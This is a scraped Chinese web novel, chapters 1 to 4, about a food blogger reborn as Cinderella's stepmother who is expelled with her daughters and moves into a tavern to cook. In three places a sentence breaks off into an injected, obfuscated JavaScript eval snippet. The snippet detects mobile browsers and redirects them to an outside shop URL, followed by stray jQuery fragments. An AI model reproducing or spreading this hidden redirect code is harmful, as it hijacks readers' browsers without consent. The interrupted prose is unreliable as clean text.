《穿进童话世界开饭馆》
1. 第 1 章
很久很久以前,巨人、矮人、精灵、魔法师共存的年代,有一个叫黑森的王国。
王国里有一个幸福小镇,镇上有一座带花园的大宅邸,住着一对夫妻和他们的三个女儿。
一天夜晚,漂亮宅邸里传出激烈争吵——
“听着,天亮之前必须离开。”
“男主人说了,这是你们欺负辛德瑞拉应得的惩罚。”
“另外,你们不能带走任何珠宝金银!”
“上帝啊!我不信爸爸会赶我们走。”尖锐女声打断了管家的下文。
“这一定是个玩笑,我的宝石项链、礼服,我的高跟鞋……它们还属于我,对吗?”另一道惊叫紧随其后。
壁炉边的扶手椅上,丰腴美丽的女人虚弱睁眼,滞涩转动碧绿瞳孔,观察四周。
记忆接收了,洋人的瓜也吃明白了,尤兰达不甘地接受自己穿越了。
不是普通的穿越,而是穿书,并且穿成了大名鼎鼎的灰姑娘的恶毒继母。
睁眼速通大结局,即将迎来原著里为恶毒反派标定的凄惨下场,尤兰达整个人懵懵然。
尤兰达·费尔南多,这具身体的名字。
饿死、气死或低血糖发作,总之最后被她占了身体。
今天是灰姑娘和王子结婚的日子。
母女三人盛装前往皇宫参加婚宴,打算多结识些黄金单身汉,好将女儿们嫁出去。
她们欢欣雀跃的来到皇宫,等来了男主人拉斯穆斯·尼尔森派来管家,强行将她们遣返,夺走了她们身上佩戴的珠宝,并转达驱逐母女三人的决定。
理由自然是清算她们往日对辛德瑞拉的种种苛待。
不放在心上的亲生女儿成了王国尊贵的王妃,取之不尽的财富与权势唾手可得。
拉斯穆斯·尼尔森医学奇迹般耳清目明,立刻换上慈父脸,为辛德瑞拉主持迟来的公道,亲手惩处她的继母与继姐。
尤兰达望着眼前混乱的烂摊子,总结出四个字——天崩开局。
她的新人生,不出意外是要从这一地鸡毛中,正式开始了。
尤兰达揉了揉脑袋,试图结束争吵,一起身站定,女孩们像惊慌小鹿扑来。
“妈妈,你还好吗?爸爸对我们太残忍了。”大女儿西芙拉愤怒指责。
“妈妈,我们该去哪呢?我还能参加舞会吗?”小女儿菲奥娜对驱逐的严重性一知半解。
金发蓝眼、打扮花枝招展的少女们团团围住她,浓烈香水味迎面痛击,熏得尤兰达想割掉鼻子。
她偏转脑袋,视线挪向一侧的管家,“天亮之前?”
管家皮笑肉不笑:“是的。”
母女三人入夜前抵达皇宫,遣返回来时月亮正好升空,此时距离天亮有很长一段时间。
尤兰达:“小西,小菲,回房间,收拾你们的东西。”
大女儿西芙拉不放心:“我可怜的妈妈,你需要我和菲奥娜的陪伴。”
尤兰达快要融化了,便宜女儿怪贴心的。
别扭一会,她勉为其难接受自己多出两个女儿的设定,有气无力:“我啊,更需要续命。”
为了保持体态,母女三人节食半个月,婚宴当天直接粒米未进,尤兰达饿得恨不得啃自己两口。
支走女孩们,尤兰达顶着管家戒备瞪视径直奔去厨房,抱起一罐果酱连挖三勺塞进嘴里。
略等了等,低血糖症状缓解,饥饿感疯狂叫嚣,席卷感官。
尤兰达下意识睃巡厨房,想随便抓点什么应付一下胃酸,东摸一会西翻一会,她开始怀疑人生。
半锅麦粥黄黄绿绿,和掺了胆汁的呕吐物别无二致。
黑麦面包硬邦邦,切它比分尸难,闻着酸溜溜的,像过期了一辈子那么久。
好歹毒的黑暗料理!
为小命着想,尤兰达打起厨房未经料理的食材主意。
桌上备有火腿、培根、肉肠和鸡蛋。桌旁的蔬菜筐堆有土豆、胡萝卜、卷心菜、洋葱、豌豆、番茄等。
调味料最多,有粗盐、猪油、果酱、黄油、麦芽糖、芥末粉等,昂贵的蜂蜜、橄榄油、蔗糖块藏进抽屉里。
独具当地特色的咸肉酱、鹿肉酱装了一大罐。
所幸材料齐全,认识的不认识的一大堆,凑出一顿像样晚餐不难。
尤兰达支使厨娘帮忙削土豆皮胡萝卜皮、切洋葱丁,自己负责给火腿、肉肠、培根切丁。
厨娘慑于夫人往日淫威,犹犹豫豫地动起手,才找到合适工具、挑出土豆,旁边菜刀笃笃笃。
陌生动静传来,厨娘懵懵转头。
一抬眼,却看尤兰达握着菜刀舞出一片残影,眨眼工夫,案板上多出一堆小肉丁。
“上帝啊……”
她从未听说夫人有这一手,切出来的火腿丁大小竟然相差无几。
目瞪口呆之时,厨娘早忘了提醒火腿、肉肠等是为男主人准备的食材,尤兰达没资格享用。
一大块火腿、两根香肠切完,尤兰达熟悉了工具,速度逐渐加快,培根没一会也变成了刀下亡丁。
厨娘敬畏地捧上土豆、胡萝卜、洋葱,守在一旁准备看个仔细,看它们到底如何变成小方块。
尤兰达打散十枚鸡蛋加盐搅拌,放置一旁备用,见状厨娘闲下来,不客气地安排她抱柴给三个炉膛生火。
炖、煮、烤是当下流行的烹饪方式,煎炸炒的概念未能形成。
体现到生产工具上,就是大家使用的铁锅、陶锅整体偏厚实,想要锅热得等上一会。
等炉灶烧旺的同时,尤兰达趁机瞅了瞅厨娘的动作,偷学生火技巧。
三口铁锅齐上阵,一锅给豌豆焯水,一锅煸培根、香肠。
“滋啦滋啦”,随着油热,培根、香肠下锅瞬间激发出肉脂香气,别样风味引得厨娘无心看顾柴火。
简单炒两下盛出备用,留点底油放土豆丁胡萝卜丁翻炒断生,紧跟着加入火腿丁、培根丁、肉肠丁和豌豆。
粗盐咸度低,溶解慢,尤兰达尝过味道后,把调味步骤提前,多放了半勺进去,和洋葱丁一起炒。
看不见粗盐明显颗粒状态时,洋葱刚好炒软。
让厨娘调小火,尤兰达赶紧倒一半蛋液进去融合,又加了一勺鹿肉酱丰富口味。
出锅前,她没什么把握地尝了一口,砸吧砸吧嘴:
盐味微微发苦,好在鹿肉酱咸鲜,盖住瑕疵。
还行,凑合吃。
穿越前,尤兰达是纯血统中国人,出生于三线小城。大学毕业当起美食博主,没几年踩上风口攒够本金,重启了父母的私厨餐厅。
店铺开业在即,她整理后厨、调试设备、核验食材、设计菜单……起早贪黑连轴转忙了大半个月。
正式营业前一天,尤兰达准备了伴手礼,邀请死忠铁粉们聚餐,以表感谢。
谁知备菜到一半,低血糖的老毛病犯了。
她来不及翻包拿出软糖,身体一晃向后栽倒,后脑撞上桌角,尖锐的剧痛只持续一瞬,黑暗吞噬一切。
到底怎么死的,尤兰达自己都说不清。
可惜她斥巨资买下的设备和优质食材了。
收回思绪,尤兰达挥舞勺子盛出无米蛋炒饭。
厨娘不认为自己忽略了什么,可那一锅叫不上名字的食物就这么出锅了,金黄喷香,油润光亮。
她凑近狠狠吸了一口气,口腔不由自主地分泌津液。
真香啊。
不多时,第三口锅烧热了,尤兰达吩咐厨娘倒橄榄油,油热下番茄炒出汁。
厨娘慢半拍回神,
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17200977|197182||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
慌手慌脚按照她意思去做,一边笨拙地翻炒番茄,一边偷瞥餐盘里堆成小山的无米蛋炒饭。
太奇妙了,她从来没见过有人这样烹饪!
厨娘回想尤兰达进厨房后所有的稀奇操作,发出真诚赞叹,可除了流畅好看之外,她一样没看懂。
无米蛋炒饭出锅没多久,一锅热气腾腾、红黄相间的番茄蛋花汤也好了。
真好看,也不知道是什么味……
厨娘搅弄着菜汤,疯狂吞咽唾沫,不敢相信它是从自己手里诞生。
有饭有汤,这条命算续成了,恰好尤兰达体力所剩无几,身上冷汗涔涔。
她不敢逞强,吩咐厨娘继续把炉灶烧旺,洗出几颗土豆鸡蛋扔进第二口锅,就着焯豌豆的水煮熟它们。
这一锅是留给母女三人的干粮,确保她们找到新的落脚点前不会饿死在路上。
无米蛋炒饭分成三份,蛋花汤分出三大碗,端上餐桌没一会,女儿们拖拖沓沓跑下楼,心痛嚎叫。
“妈妈,我选不出来!”西芙拉埋进一条缀满珍珠的塔夫绸裙子里,“每一条裙子我都不能放弃……我们再去求求爸爸好不好?”
“我的帽子是新做的,”小女儿菲奥娜抱着一顶宽檐帽,帽檐上的羽毛颤巍巍抖动,“而我只能选择它们其中几顶,这太为难我了,妈妈!”
一连声的“妈妈”叫得尤兰达头皮发麻,喘口气,扫过两人精挑细选的华丽礼服裙,沉默了片刻。
“先吃饭,我会想办法。”
两个女孩极为信赖老母亲,闻言立刻停止哭嚎,看向餐桌。
西芙拉耸动鼻子嗅了嗅,“它们可真……特别。”
尤兰达没空解释,着急续命。
她一屁股坐下,刚举起勺子,一阵窒息袭来。
该死的束腰!
原身习惯了束腰的存在,站着没太多感觉,一坐下简直要勒断肋骨。
尤兰达找出剪子带回房间,吩咐女仆直接剪掉束腰背后的系带。
女仆一边剪,一边不停地惊呼“上帝啊上帝啊”,她全当没听见。
束腰啪一下落地,换上宽松轻便的长裙,尤兰达原地复活。她长长地、贪婪地吸了一口气,快步下楼。
“你们……”
餐桌前,两个女孩狼吞虎咽,一下子消灭了一小半的份量。
乍一瞧见新奇食物,两人抱着试毒心态先尝了一口,只一口,她们的味蕾彻底臣服。
这和她们以往吃过的食物完全不在一个档次。
尤兰达抽了抽嘴角,她真以为俩狠人的胃有奇特构造呢。
母女三人排排坐,埋头干饭,神情专注而满足。
“咕咕——咕——”
餐厅响起打雷般的动静。
女仆、厨娘和管家,三人交换一下眼神,尴尬地按住肚子。
奇怪,以前的他们也没这么嘴馋过啊。
管家清清嗓子,试图挽回颜面:“三位,容我提醒,你们的时间不多了。”
尤兰达的身体经不住暴饮暴食,吃到七分饱,气力逐渐充盈四肢后便遗憾停下。
“听说,拉斯穆斯不允许我们带走金银珠宝?”她抬头扫过管家等人。
管家:“正是。”
尤兰达微笑:“没有说过不允许带走衣服鞋子吗?”
管家:“没有。”
“也没有说过不允许带走被子毯子吗?”
管家不耐烦,她的疑问可真多,“没有。”
“如此,想必你的主人也一定没有说过,不允许我们驾走马车,对吧?”
管家倏然回过味来,半张着嘴说不出话。
尤兰达笑意加深,提起裙摆,踏上楼梯。
“我会谨遵他的吩咐,请上来监督吧,管家先生。”
2. 第 2 章
“哦——我的上帝啊!”
管家呆立尤兰达的卧室门口,发出震惊低呼。
厨娘和女仆瞪圆眼睛,望着屋内乱糟糟的景象。
以尤兰达为主的母女三人,像闯进富豪宝库的盗贼。
她们拆了天鹅绒窗帘,平铺地毯上,转身把亚麻衬衣、丝绸长裙、细棉睡袍……所有春夏季衣物一股脑抱出衣柜,尽数扔上去。
堆放完毕,尤兰达拽着窗帘布两角,一裹一掖再一滚,最后用几根丝带拧成的绳子扎紧前后两端,活脱脱一条“香肠”。
秋冬季的羊毛裙子厚实衣衫,以及昂贵的皮毛大衣等,全部叠放在两抬大皮箱里,她们通通搬出来,打算连箱子一起带走。
料理好衣物,尤兰达扯下第二块窗帘布,瞄准床品。
保暖的皮毡、厚重的毛毯、亚麻被、丝绸被、蓬松的棉花被与枕头……一样不落。
挂毯、地毯,春夏冬三个季节的床幔也没忘记。
挂毯能抵挡石墙的阴冷,地毯铺地能有效防止室内温度流失,精致漂亮的床幔能防蚊虫,也能进一步防风保暖。
看似装饰物,放在当下时代背景里,实则是不可或缺的必需品。
根据原身零碎的记忆,她们所处的黑森王国冬季严寒漫长,且来得极早。
眼下是八月盛夏不错,最多一个半月后,寒冬便会降临。重新置办防寒衣物和生活用品时间紧迫不说,花费资金甚巨。
“强盗!你们是被男主人驱逐出尼尔森家的,没资格带走它们。”
管家回过神后,急得跺脚,拦在房间中央,声音因愤怒而拔高。
尤兰达仗着原身高挑身材,撞开碍事的管家,神情冷漠凶恶:“贵重珠宝我们一件没拿,不是吗?”
是,贵重珠宝一件没拿,其他东西一件不落。
管家阻止不了她的行为,又挑不出她话里毛病,气得胡子直翘。
母女三人浑身散发不好惹的气势,吓得女仆和厨娘也不敢触霉头,偌大的宅邸任她们来去自如。
不一会,铜烛台、白蜡烛、化妆品、清洁护理用品、锡盆锡桶,茶壶茶杯……见缝插针地塞进了藤编行李箱。
这下,房间是真的搬空了。
管家拍着大腿长长叹气。
他毫不怀疑,但凡四柱床和衣柜不是太过庞大,母女三人一定会搬走它们。
尤兰达清点过行李数量,拍拍手,领着满脸崇拜神情的女儿们,气势汹汹地转战隔壁西芙拉的卧室。
她一声令下,女儿们撸起裙摆开干,这里也很快搬空。
轮到菲奥娜的房间时,大家无需指挥,默契动手。
虽然两个娇生惯养的女儿总是忙不了一会就嚷嚷着歇息,好歹收拾完了。
“要帮你们抬走吗?”
管家眼不见为净的祷告片刻,阴阳怪气开口。
尤兰达:“谢谢,你的帮助太及时了。不过我们需要另外收拾一些东西。”
“已经没有你们应该带走的东西了。”管家连忙侧身挡住男主人的卧室入口。
尤兰达瞥去嫌弃目光,谁要臭男人的东西。
多亏夫妻俩分房睡,否则一屋子的私人物品,起码要丢一半。
她吩咐女仆多找了几个藤编箱,在大厅地毯上一字排开。
然后,尤兰达的碧绿眼眸雷达探照灯一样扫射宅子。
“小西,把斗柜上的银镜放进去,杂物间剩下的蜡烛都要了。”
“小天平和小沙漏别忘记,各一套就好。”
“小菲,去庭院把柴刀和斧头装进去,那是我上个月新买的。”
“餐具拿三套,刀叉勺子别落下,蜂蜜酒装进餐篮里。”
“新买的布匹呢?都拿走。”
最后,尤兰达转向厨房。
尼尔森做香料生意,虽然货仓不在家里,但自家使用调味料并不吝啬,除了金贵的胡椒,差不多各品种齐备,绝对不容错过。
轮到自己被抄家,厨娘天塌了,冲上去阻拦时,两位小姐狠狠推开她不准许靠近。
她眼睁睁看着尤兰达连吃带拿。
刀具和案板就算了,香料、调味料一个不放过,连藏进陶缸深处的培根、肉肠,挂在梁上的咸肉、火腿,橱柜储存的小麦粉、土豆、白面包、嫩玉米……一并翻找出来。
天呐,她收走了男主人新买的、招待贵客的葡萄酒!
管家呼哧呼哧喘气,训斥她们太过分。
厨娘望着找不出一粒小麦的厨房,急得团团转。
尤兰达抚摸满当当的五个大野餐篮,十分满足。
“管家先生,我想它们可比不上珠宝贵重,对吗?”
西芙拉开团秒跟,截断管家话头:“当然了,我的好妈妈,它们怎么能和珠宝比。”
菲奥娜挤进来,捧起一陶罐,“妈妈,我想要草莓酱。”
尤兰达硬是从满溢的野餐篮里扒出一点空间,塞进一罐草莓酱。
“这下该满足了吧,尤兰达夫人。”
管家死死盯着母女三人脚边堆放的一袋袋食材,咬牙切齿。
尤兰达没有回答,缓缓搜寻。
下一刻,她的视线锁定厨房门边的墙壁上,双眸发出锃亮光芒。
竟然有一串细长饱满、颜色鲜红,半截手指大小的鲜辣椒!
当地人习惯用辣椒暖胃驱寒或观赏,因和药沾边,价格称不上便宜。
尤兰达当即翻出空陶罐,摘下全部辣椒塞进去。
心满意足准备离开,她眼角余光又瞥见了灶台上的三口大铁锅,和备用的陶锅铜锅铜盆等,脚步顿住。
“我保证是最后一样了,管家先生。”她微微笑,手指灶台方向。
厨娘一个踉跄,差点摔倒。
上帝啊,请您千万不要保佑尤兰达夫人!
铁锅铜锅属于重要家庭资产,管家坚决不松口。
尤兰达:“它们是我的嫁妆,你们无权扣留。”
原身出自商人家庭,陪嫁的物品以实用、体面为主。
体面,指丝绸、布匹、皮毛、金银首饰、女仆一类。
实用,则指铁锅、铜锅、银餐具、家具、马车等。
卧室里那张尤兰达无比惋惜的实木大床,和铁锅一样,同属于原身的嫁妆之一。
原身带来的香料、布匹,早已在多年的婚姻生活里消耗殆尽,她们收拾出来的所有家当价值不及嫁妆一半。
管家恍恍惚惚想起,似乎……确实如此。
尤兰达嫁妆颇丰,继承第一任丈夫的遗产后更有钱了。
带着两个女儿嫁入日渐式微的尼尔森家后,又不能离,只好用私产填补夫家窟窿,维持中产的体面,稀里糊涂过了许多年。
近一两年,家中仆人的薪水都是家中女主人发放的呢。
管家像漏气的球,飞快瘪了下去,反对声戛然而止。
趁他踌躇,尤兰达重返厨房大扫荡,地窖翻个底朝天,睡不安生的老鼠吱吱溜走。
深夜,皮箱藤箱依次搬进车厢,衣物被子杂物等塞进车顶与车后的行李架。
粮食蔬菜用麻布袋扎紧,悬挂外侧栏杆固定,整架马车找不到一丝空隙。
多亏了商人家庭必备的载人载货两用马车,她们得以带走所有物资。
尤兰达最后检查一遍捆绑的绳索,坐上车架,牵起缰绳。
“帮我转告拉斯穆斯:想讨好辛德瑞拉,惩罚我们固然直接,难道他就毫无责任吗?”
“他最好每天祈祷,希望辛德瑞拉不会意
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17200978|197182||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
识到,她过往的苦难少不了父亲刻意纵容的默许。”
灰姑娘的故事里,开头就让所有读者相信:灰姑娘因生母教导而生性温驯纯良,以至于对继母的苛待逆来顺受。
然而细思,亲爹的袖手旁观在叙事中被悄然隐去,从头到尾毫无存在感,也无人提及,摘得干干净净。
灰姑娘多年来忍受继母刻薄慢待,从未寻求过亲爹庇护。
王子举办舞会,她宁愿和继母争取机会,也不曾向血脉相连的亲爹求助。
年轻女孩爱美爱打扮天性使然,两个姐姐张口要珠宝华服做礼物,属于情理之中。
对比之下,年纪最小的灰姑娘十分“懂事”,只要随处可见的树枝,值得细品。
要尤兰达来说,哪有天生懂事的小孩,不过是早在一次次失望中学会了什么叫“开口也是枉然”。
置身事外的既得利益者拉斯穆斯,不见得比原身高尚,至少在对待灰姑娘这件事上,两人半斤八两。
“最后,请替我们谢谢拉斯穆斯的慷慨。”尤兰达瞄一眼身后的一大车,“我们决定搬去霍格沃茨定居,假如他对我们的行为有异议,随时欢迎他来算账。”
话落,尤兰达手腕一抖,软鞭咻一下抽上马屁股。
马车吱呀前行,载着母女三人的所有家当,叮铃哐啷奔赴新生活。
“你们听说过霍格沃茨吗?”
马车融入夜色,眨眼工夫不见踪影,厨娘扭头问出大家心声。
管家耸肩摊手,谁知道呢。
三人折回厅堂,对着昏暗的、光秃秃的宅子,齐齐露出忧愁神情。
难以置信,怎么能连筛子\扫帚\水桶都不留!
管家这时注意到橡木长桌上的残羹冷炙,目光定住:“你确定,这些都是尤兰达亲手做的食物?”
他向上帝发誓,尤兰达嫁进尼尔森家后进厨房的次数屈指可数,也从未听说她擅长烹饪。
天知道看着母女三人进食的时候,他有多想尝一尝。
厨娘连说带比划,倒豆子一样讲述尤兰达如何让食材们乖乖听话变成丁。
管家和女仆听得直惊叹,情不自禁凑到桌边。
“好香……”
“我看到了培根。”
“不对,你一定骗我了,土豆不长这样。”
三颗脑袋沉默了一阵,不知道谁先动的手,他们捏起一撮无米蛋炒饭放进嘴里。
下一秒,三双琥珀色瞳仁齐刷刷圆瞪,惊为天菜。
-
月上中天,装扮华贵的马车摇晃驶来,停在宅邸庭院入口。
不一会,马夫费力搀扶醉意醺醺的主人走下车架。
管家听到动静,擦擦嘴角,整整衣袖,急忙出门迎接。
“主人,不好了,夫人和……”
拉斯穆斯打了个酒嗝,挥手打断:“她们不肯走对吗?好吧,我早知道会是这样。
告诉尤兰达,想讨好我和新王妃,她们必须付出些‘诚意’。”
管家吞吐片刻,把话说完:“不,主人,她们走了。”
拉斯穆斯反应一会,絮絮叨叨:“好吧,她们不会知道自己错过了多少,我保证她们会后悔,不出几天就要来求我。
想想看,很快就是冬天了,要知道可是冬天会杀人的,除了善良的尼尔森家,没人愿意收留她们。”
踉踉跄跄走出去几步,他想起什么,问:“她们没带走我的珠宝和金银吧?”
管家垂下脑袋,声线发虚:“谨遵主人吩咐,没有。”
拉斯穆斯很满意,迈步走进大门。
当他借着烛光和月光,看清像是被盗贼劫掠过的家,揉了揉眼。
“但是……除金银珠宝外,尤兰达夫人搬走了所有其他物品。”
3. 第 3 章
皎洁月光照亮蜿蜒土路,两侧树林传来老鸦凄厉鸣叫。
山风迎面吹拂,西芙拉、菲奥娜一激灵,她们真的离开生活多年的尼尔森家了。
“妈妈,霍格沃茨在哪里?它很远吗?”西芙拉神情不安。
尤兰达:“很远很远,不过我们不去那。”
菲奥娜皱起脸:“那我们去哪?我舍不得伊索拉和老约翰。他们总能做出我喜欢的漂亮裙子和鞋子。”
脱离幸福小镇熟悉的人事物,开启一段全新的未知生活,恐慌、迷茫的情绪汹涌袭来,女孩们无措地紧挨着。
她们能去哪呢?
母女三人可选择的退路少得可怜,这也能理解,为什么原身得知被驱逐后会活活气晕。
原身父母早逝,姐妹远嫁,兄弟继承商队走南闯北,居无定所,一家兄弟姐妹一年到头见不了几次面,投靠亲友不现实。
再盘点原身所有资产,十之八九全填了尼尔森家的窟窿,手上还剩一间闲置的铺子,是第一任丈夫留下的遗产。
尤兰达翻遍记忆,只有那间闲置铺子能容下她们。
那是一间酒馆,因地段不错总能顺利租出去赚取租金,原身没舍得卖掉,瞒着丈夫悄悄留下。
半年前,一场大风袭来,皇城一大半房屋遭难,所有使用茅草和木板混搭的屋顶几乎全被大风掀飞。
恰逢皇城市议厅换新管理官,从消防安全考虑,趁机要求皇城所有商铺、工坊必须换成陶瓦片才准许经营。
原身手里拮据,换瓦的事一拖再拖,酒馆老板不得不终止租赁,搬去别处。
尤兰达穿来之前,原身已经联系了掮客,准备卖掉它给女儿们攒嫁妆,苦于找不到合适买家。
“去我们的新家。没有新裙子、没有大房间,也没有女仆和厨娘,但有一样十分珍贵的宝贝。”
两个女儿闪亮着蓝眼睛望过来。
尤兰达:“我们有自由。”
西芙拉和菲奥娜面面相觑,对抽象的词汇似懂非懂。
“自由……好吧,我还是喜欢丝绸裙子。”
菲奥娜耸肩,小声和姐姐嘀咕,西芙拉扯了扯嘴角回应,以表赞同。
尤兰达不再解释,牵紧缰绳,专心操控不太听话的马车。
“嘿!伙计,走平坦的路。”
“上帝啊,千万别把我们带进沟里,否则我会狠狠抽你的屁股。”
原身的驾车经验不多,尤兰达一边努力回忆,一边笨拙模仿。不确定是翻译腔起作用了,还是威胁更有效,吆喝半天后,车架稳当许多。
折腾一晚上,情绪大起大落,姐妹俩困倦不已,脑袋一点一点。
车厢无法容纳她们,两人可怜兮兮缩在门边,互相依靠着打盹。
尤兰达感受林间夜风,即便盛夏,温度也不高,体感20度左右。
她解下身上的亚麻斗篷,横着盖刚好遮住母女三人。可不能生病,会死人的。
黑森王国和她了解的中世纪欧洲有几分相似,比如治病靠放血这一点,一治一个不吱声。
因为死人不能吱声。
通常来说,不治或许有机会自愈,治了百分百重新开局,撒旦来了都要五体投地说承让。
这么一想,她穿越后见到的每一个人,命都挺硬。
马蹄哒哒,车架嘎吱作响,尤兰达随着颠簸东摇西晃,胡思乱想中,大脑越发清醒。
身侧的女孩们熟睡,她轻手轻脚地掏出裙摆内侧的羊皮小包。
拆床幔时从夹层里找到的,指尖一接触小包,属于原身的模糊记忆倏然清晰,她不动声色地收起。
借着月光,尤兰达小心翼翼打开小包,趁着空闲清点原身的私房钱。
5枚边缘轻微磨损银币,360枚色泽暗淡的铜币,15个指甲盖大小的铜分,和四把不知用在何处的黄铜钥匙,别无其他。
黑森王国及周边数十个国家货币互通,常用货币分为金、银、铜三种。
兑换关系是:10铜分兑换1铜币,100铜币兑换1银币,100银币兑换1枚金币。
8银币61铜币不出意外是原身所有现金积蓄了,和二婚前的经济状况做对比,只能说惨不忍睹。
尤兰达尝试过借收拾家当捞一点现钱,东翻西找一无所获才醒悟过来,拉斯穆斯防着原身呢。
珠宝金银早转移了出去,连母女三人参加宴会佩戴的首饰,都由管家第一时间收走,不给她们钻半点空子。
尤兰达越想越后悔,后悔没掀了陶瓦一起打包装车。
她揣好羊皮小包,感叹前路艰难。
连烧火柴都要花钱买的时代,这点钱实在不经用,想指望它们钱生钱得费点脑细胞。
穿来前她每天烦的是吃什么喝什么,下期拍摄主题选什么。
让体验过财务自由的人,重新过回捉襟见肘的日子,太玩心态了。
“……系统?”
呼呼风声中,尤兰达试探着开口。
“系统大人,您吱一声呗?”她竖起耳朵捕捉所谓的电子音、机械音。
寂静无声。
这年头穿书不流行配系统了吗?
行吧,自己动手,丰衣足食。
马车向深蓝的夜幕行驶,车架吱呀吱呀,混着锅碗瓢盆叮叮咚咚的碰撞。
天色将亮未亮时,她们穿过森林,正式踏入王室领地,道路两旁依稀可见村镇和田地的轮廓。
“当——当——当——”
浑厚悠远的钟声从坐落于村镇的修道院钟楼传来,惊起了夜栖的鸟雀,扑棱棱飞过她们头顶。
尤兰达打了个呵欠,活动僵硬的筋骨。
原身的生活常识告诉她,这是每日晨间“赞祷”的钟声,提醒修士可以祷告了。
没有钟表的时代,家家户户依靠修道院、教堂的钟声来判断时间,清晨4点的赞祷钟声同时也向大家宣告新一天的开始,该起床当牛马了。
尤兰达粗略估算,晨祷(凌晨2点)后出发,到目前她们在路上花了大约一个半小时。
尼尔森家所居住的幸福小镇属于伯爵领,因税率比王室领地低,吸引了许多商队定居做生意,偶尔去皇城大市集采买。
镇子与皇城虽分属不同领地,从实际距离来算其实并不远。之所以一个半小时还未抵达目的
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17200979|197182||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
地,有尤兰达出于夜间行驶的谨慎,和她对驾车的不熟练,以及中途走错路的因素。
尤兰达默默祈祷,希望酒馆的隔音效果足够好,她可不想天不亮被闹钟叫醒。
马车前行了一、二里左右,黑森王国皇城高耸的城门隐约可见,路上推着小车、挎着篮子的行人增多,向城门方向汇集。
顺利进入皇城,最先映入眼帘的是宽阔的主干道,道路两旁挨挨挤挤地矗立着两三层高的房舍,大多是下店上宅的格局,外墙色彩缤纷明快。
每一条街区都建有一个由鹅卵石铺就的小广场,广场中央要么立着雕像,要么挖了喷泉,教堂规律分布于街头巷尾。
稀奇的是,街上商铺、住宅门前大都栽种了绿植鲜花,路上鲜少见到人类排泄物,偶有牛马、骡子骆驼粪便散落犄角旮旯处等着清粪工处理。
果然是童话世界,真正的中世纪城镇绝对没这么干净。
街上行人不算多,男男女女赶着去上工、做买卖,步履匆忙。尤兰达格外小心驾车,避开来往行人,凭着原身模糊的记忆寻找她们的落脚点。
当初时祷(清晨六点)的钟声伴随太阳升起,马车兜兜转转半天,停在贝壳街上一条叫“矮人巷”的巷子口。
矮人巷和其他街巷略有不同,建筑风格更粗犷,没有鲜艳的外墙。
一条约四米宽的清澈溪流硬生生将巷子劈开,分出南北两街,由三座小石桥连接。
岸边,两排房舍面水而建,中间夹着一条两米来宽的石板小路,马车通行略显局促,行人来往绰绰有余。
尤兰达眨了眨眼,险些以为自己闯入某个古镇老街。
道路太窄,她跳下车牵着马拐进巷子。只要找到巷子口枝繁叶茂的大橡树,距离她们的落脚点就不远了。
小酒馆紧邻橡树,是矮人巷北街的第一间店铺,距离主街尤为近。
正面看,酒馆的店铺和宅院全由砖石混搭,二楼开了一排小窗,三楼一半搭建阁楼,一半做露天平台。
而此刻,铺子的屋顶光秃秃,一根茅草不剩,木质房梁暴露阳光下。
目光挪向店门左侧,旁边约四、五米处开了一扇院门,大门紧锁。
尤兰达透过缝隙探查,门后有木板搭建的车马棚,粗略估计能塞下两架马车,容纳四匹马,深处有小门通往后院。
确定是自家的院子,她摸了摸院门上挂着的黄铜锁,鬼使神差地摸出羊皮小包,取出黄铜钥匙。
果然,其中一把刚好插进锁孔,手腕轻轻一拧锁头便弹开。
尤兰达推开院子大门,拽着马车停进车库。
“妈妈,这是什么地方,好破哦……我们要住这里吗?”西芙拉揉着惺忪睡眼,茫然环顾周围。
太小了,连个像样的花园都没有。
菲奥娜迷迷糊糊睁眼,看清眼前景象的下一秒,脸上露出了和西芙拉如出一辙的嫌弃与惊吓。
“妈妈,我想我还没睡醒,对吗?”
尤兰达栓好缰绳,推开车马棚通往后院的栅栏门,朝两人招了招手,打破她们最后的幻想。
“来吧,姑娘们,进来看看我们的新家。”
4. 第 4 章
酒馆坐北朝南,典型的前店后坊格局院落。
从车马棚的栅栏门进去,有一条宽敞过道,左转通向后院,右手边有一扇通往店铺的后门。
尤兰达先去看店铺。
一推开后门,积攒的灰尘,劈头盖脸飞落,呛得她们打了几个喷嚏。
西芙拉和菲奥娜掩住口鼻惊叫跑走,打死不愿跟上。尤兰达无奈,略等了等,自行进去查看。
后门连接厨房,一个四十多平的长方形空间。
厨房采光全靠临街的粗石墙上开出的大窗户,白色窗纱滤出昏朦柔和的光,倒映矮人巷来往的人影。
走进厨房,左手边靠墙砌有拱形砖窑炉,加上晾放区,单独占据厨房一处角落。
带烟道的灶台有四口,灶台旁隔出一平方空间堆放木柴、引燃物。
